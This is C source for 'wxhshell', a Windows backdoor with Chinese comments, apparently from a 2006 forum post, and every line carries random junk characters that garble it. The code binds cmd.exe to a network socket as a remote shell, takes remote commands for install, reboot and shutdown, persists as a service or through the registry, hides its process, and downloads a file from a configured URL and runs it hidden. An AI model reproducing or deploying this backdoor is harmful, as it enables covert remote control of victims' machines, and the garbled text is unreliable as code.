    switch(cmd[0]) { 2 kOFyD  
  ^V DJGBk  
  // 帮助 n~1'M/wh  
  case '?': { LDj'L~H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wkn r^A  
    break; ')d&:K*M  
  } NF}QQwG3  
  // 安装 $[L8UUHY<8  
  case 'i': { P9Gjsu #  
    if(Install()) &B^zu+J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yqy5i{Y  
    else )yV|vn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 19Cs 3B\4  
    break; (RDY-~#~  
    } B8jSdlvz  
  // 卸载 |Ef\B] Ns  
  case 'r': { n21Pfig  
    if(Uninstall()) s`j QX\{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4(VVEe  
    else ho1Mo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vhw"Nl  
    break; A@8Ot-t:\2  
    } di@4'$5#  
  // 显示 wxhshell 所在路径 \m3'4#  
  case 'p': { rjmKe*_1V  
    char svExeFile[MAX_PATH]; y:U'3G-  
    strcpy(svExeFile,"\n\r"); D 8nt%vy  
      strcat(svExeFile,ExeFile); @}#"o  
        send(wsh,svExeFile,strlen(svExeFile),0); w/8`]q  
    break; b`NXe7A  
    } kOe %w-_  
  // 重启 +d[A'&"  
  case 'b': { *]ROUk@K=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bv.DW,l%'  
    if(Boot(REBOOT)) QT1(= wK3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ugtzF  
    else { }Yi)r*LI3  
    closesocket(wsh); dmq<vVxC  
    ExitThread(0); wq|~[+y  
    } RL|13CG OP  
    break; O*hd@2hd  
    } S?X2MX  
  // 关机 dQoZh E  
  case 'd': { Uoskfm  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Wq bfZx  
    if(Boot(SHUTDOWN)) g/)$-Z)Nu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }PZz(Ms  
    else { R&w2y$  
    closesocket(wsh); c0J=gZiP  
    ExitThread(0); |G2hm8 Y  
    } xwjim7# _:  
    break; 1E(~x;*)  
    } N30w^W&  
  // 获取shell ]r #YU0  
  case 's': { g$&uD  
    CmdShell(wsh); -hM nA)+  
    closesocket(wsh); u N%RB$G  
    ExitThread(0); _eB?G  
    break; f@ &?K<  
  } Rw]4/  
  // 退出 4_CV.?  
  case 'x': { h)%}O.ueB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Wvhg:vup  
    CloseIt(wsh); }uI(D&?+h  
    break; A),nkw0X  
    } E$$pO.\  
  // 离开 Mo+ mO&B  
  case 'q': { NDG3mCl  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -29 Sw  
    closesocket(wsh); @ljvTgZ(X  
    WSACleanup(); mhp&; Q9  
    exit(1); jzuOs,:R  
    break; /PP\L](  
        } Rp~#zt9:  
  } TBfX1v|Z)  
  } O"otzla  
5zebH  
  // 提示信息 %5X}4k!p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); go, Hfb  
} N4 O'{  
  } ^y.e Fz  
S.;>:Dd[K  
  return; 9m2_zfO[ w  
} 8\-Q(9q(  
IAr  
// shell模块句柄 HaP0;9q  
int CmdShell(SOCKET sock) eqt+EiH   
{ }$K2h*  
STARTUPINFO si; % -~W|Y  
ZeroMemory(&si,sizeof(si)); +39Vxe:Oy  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ap;tggi(H  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zVLv-U/=d  
PROCESS_INFORMATION ProcessInfo; ?[4!2T,Ca  
char cmdline[]="cmd"; Ua.7_Em  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U @Il:\I  
  return 0; ;4jRsirx9  
} Mr}]P(4h  
)"  H$1  
// 自身启动模式 ]Gw?DD|Gn  
int StartFromService(void) nZF(92v  
{ b P>!&s_  
typedef struct ILt95l  
{  } z4=3 '  
  DWORD ExitStatus; UOn L^Z}  
  DWORD PebBaseAddress; qp(F}@  
  DWORD AffinityMask; *}9i@DP1,  
  DWORD BasePriority; p100dJvq  
  ULONG UniqueProcessId; 20hF2V  
  ULONG InheritedFromUniqueProcessId; sSLs%)e|:  
}   PROCESS_BASIC_INFORMATION; c5uT'P"  
2#4_ /5(j*  
PROCNTQSIP NtQueryInformationProcess; a8T<f/qW k  
(fgX!G[W  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O?uT'$GT  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )z0qKb \  
Rn O%8Hk  
  HANDLE             hProcess; !XjvvX"j  
  PROCESS_BASIC_INFORMATION pbi; )k F/"'o  
(>qX>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CPq{M.B  
  if(NULL == hInst ) return 0; <!.'"*2  
- b>"2B?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8uyUvSB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); I)~&6@J n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 15Vb`Vf`N  
Si<9O h  
  if (!NtQueryInformationProcess) return 0; ^7`"wj14  
0_Hdj K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2e}${NZN  
  if(!hProcess) return 0; -GkNA"2M[  
~L!*p0dS^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7@g8nv(p  
V/Hjd`n)`i  
  CloseHandle(hProcess); 'hl>pso.  
@Taj++ua  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); & z;;Bx0s  
if(hProcess==NULL) return 0; [@ ]f@Wd  
_A*5BAB:h(  
HMODULE hMod; jB]tq2i  
char procName[255]; %H:uE*WZ  
unsigned long cbNeeded; qvz2u]IOw  
Wjt1NfS&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `nc cRy< l  
a^qLyF& F  
  CloseHandle(hProcess); \Q"o\:IoIT  
DG8LoWZ  
if(strstr(procName,"services")) return 1; // 以服务启动 >;',U<Wd  
$AAv%v  
  return 0; // 注册表启动 <{7CS=)  
} sDnHd9v<?t  
&sL(|>N  
// 主模块 @;}bBHQz{p  
int StartWxhshell(LPSTR lpCmdLine) eqcV70E8cK  
{ %dTkw+J  
  SOCKET wsl; 66<3zadJZU  
BOOL val=TRUE; SCk2D!u  
  int port=0; ~U&,hFSPY  
  struct sockaddr_in door; aH)$#6${Ap  
3kFOs$3  
  if(wscfg.ws_autoins) Install(); 7s_#X|A$  
*D ld?Q  
port=atoi(lpCmdLine); G l+[ |?N  
=whZ?,u1   
if(port<=0) port=wscfg.ws_port; 0uzm@'^  
Ec| Gom?  
  WSADATA data; Efi@hdEV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o.t$hv|  
O"4Q=~Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^yUel.N5"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l%*KBME  
  door.sin_family = AF_INET; PL/as3O^A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c0]^V>}cl  
  door.sin_port = htons(port); 7N"$~UfC  
d3h2$EDD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { U'S}7gya  
closesocket(wsl); e&f9/rfx  
return 1; gB@Xi*  
} 2"lDKjj  
FjIS:9^)t5  
  if(listen(wsl,2) == INVALID_SOCKET) { <=8REA?  
closesocket(wsl); 6k;__@B,  
return 1; *vFVXJo  
} FblwQ-D  
  Wxhshell(wsl); x[7jm"Pz  
  WSACleanup(); 8DbXv~3@  
edhNQWn  
return 0; |du@iA]dP  
*,hS-  
} LtKiJ.j?A  
t3K7W2bz  
// 以NT服务方式启动 D.o|pTZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }fnp}L  
{ trmCIk&Fkj  
DWORD   status = 0;  lk{  
  DWORD   specificError = 0xfffffff; XnrOC|P$  
]Mi ~vG q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?P[uf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z^,C><Yt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9ctvy?53H  
  serviceStatus.dwWin32ExitCode     = 0; fk4s19;?  
  serviceStatus.dwServiceSpecificExitCode = 0; w#eD5y~'oo  
  serviceStatus.dwCheckPoint       = 0; Y 3r m')c  
  serviceStatus.dwWaitHint       = 0; IlsXj`!e  
O{a<f7 W  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); SCE5|3j  
  if (hServiceStatusHandle==0) return; {.$5:<8aC  
,wE]:|`qJ  
status = GetLastError(); 8<M'~G%CEq  
  if (status!=NO_ERROR) mh]'/C_*<w  
{ FR9qW$B  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; R%o:'-~  
    serviceStatus.dwCheckPoint       = 0; ;4tVFqR  
    serviceStatus.dwWaitHint       = 0; +[*VU2f t  
    serviceStatus.dwWin32ExitCode     = status; K^`3Bg  
    serviceStatus.dwServiceSpecificExitCode = specificError; j?%^N\9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); '/U[ ui0{  
    return; ~n%~ Z|mMF  
  } Pcut#8?  
<y=VDb/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `,d*>  
  serviceStatus.dwCheckPoint       = 0; X=_pQ+j`^  
  serviceStatus.dwWaitHint       = 0; aYr?J Ol  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 02:]  
} A,i.1U"w8  
e>~g!S}G  
// 处理NT服务事件,比如:启动、停止 b{<qt})  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q}>1Rr|U`  
{ ?D-1xnxep  
switch(fdwControl) ,~8:^*0s  
{ !/+ZKx("9  
case SERVICE_CONTROL_STOP: o9ZHa  
  serviceStatus.dwWin32ExitCode = 0; q\ FF)H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ES!$JWK|  
  serviceStatus.dwCheckPoint   = 0; / PG+ s6  
  serviceStatus.dwWaitHint     = 0; =3OK 3|  
  { QU^*(HGip  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r#iZ FL3q  
  } Jm$. $B&I  
  return; }]_/:KUt  
case SERVICE_CONTROL_PAUSE: ;]zV ?9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; K,e"@G  
  break; 0xrr9X<  
case SERVICE_CONTROL_CONTINUE: tAFKq>\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Gm;)Om_  
  break; Aifc0P-H  
case SERVICE_CONTROL_INTERROGATE: \Km!#:  
  break; n/#zx:d?  
}; 3ny>5A!;2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~>&7~N8  
} JP`$A  
&C<K|F!j!  
// 标准应用程序主函数 cHOtMPyQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  (n+2z"/  
{ OJiW@Z_\  
RY'f%c  
// 获取操作系统版本 _@9[c9bO  
OsIsNt=GetOsVer(); kcKcIn{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \"Z^{Y[,;  
AE`X4q  
  // 从命令行安装 i2KN^"v?N  
  if(strpbrk(lpCmdLine,"iI")) Install(); r!SMF ]?SJ  
^Gt&c_gH  
  // 下载执行文件 u~n*P``{  
if(wscfg.ws_downexe) { P' .MwS  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .zQ:u{FT  
  WinExec(wscfg.ws_filenam,SW_HIDE); wqB{cr}!  
} f =@'F=  
>)*'w!  
if(!OsIsNt) { \MBbZB9@  
// 如果时win9x,隐藏进程并且设置为注册表启动 2g5i3C.q$  
HideProc(); eJA$J=^R;  
StartWxhshell(lpCmdLine); MyB&mC7Es  
} u(l[~r>8W;  
else {T4F0fu[eR  
  if(StartFromService()) O 4zD >O  
  // 以服务方式启动 zaWy7@?  
  StartServiceCtrlDispatcher(DispatchTable); Klfg:q:j+b  
else )!.ef6|  
  // 普通方式启动 k7JE{(Ok  
  StartWxhshell(lpCmdLine); 0$)s? \  
EdFCaW}""  
return 0; >KHR;W03  
}
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只看该作者 1 发表于: 2006-10-10
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